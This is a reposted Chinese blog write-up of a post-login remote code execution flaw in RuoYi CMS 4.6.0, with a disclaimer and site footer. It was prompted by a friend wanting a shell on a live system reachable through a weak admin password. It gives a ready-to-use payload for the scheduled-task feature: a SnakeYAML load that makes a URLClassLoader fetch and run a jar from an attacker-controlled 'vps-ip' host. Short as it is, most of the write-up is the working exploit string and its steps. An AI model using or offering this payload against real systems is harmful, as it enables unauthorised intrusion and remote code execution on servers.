若依CMS4.6.0后台RCE


0x00 前言

此漏洞源於一個朋友遇到了這個系統,后台有弱口令,問能不能shell

開始審計,先看官方文檔,發現作者在文檔中寫明了歷史漏洞,告誡了用戶使用風險,還算是良心了

https://doc.ruoyi.vip/ruoyi/document/kslj.html#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E

 

 

重點是shell,且目標為當時最新版本,歷史漏洞已經無法用了,由於有后台權限,搭建了系統在后台瀏覽了一下功能,發現存在一個任務調度的功能

 

 

根據添加調度任務的url定位到代碼,最終定位到任務執行代碼:

 

 

 可以看到代碼無任何黑白名單限制,直接動態調用任意類任意方法

摸一下依賴有snakeyaml

 

 

便想着用artsploit攻擊spring-cloud 的那一套思路(https://github.com/artsploit/yaml-payload

 

0x01 漏洞利用

位置:系統監控->定時任務->添加任務

任務名稱 :隨便填
調用目標字符串:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps-ip:port/yaml-payload.jar"]]]]') 
cron表達式: 0/50 * * * * ? (隨便填)
執行策略: 執行一次
狀態:正常
 
成功getshell

利用思路有很多,拋磚引玉了。

 

0x02 總結

漏洞未在最新4.6.1版本上試過,代碼如果沒改的話,理論上都是可以的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM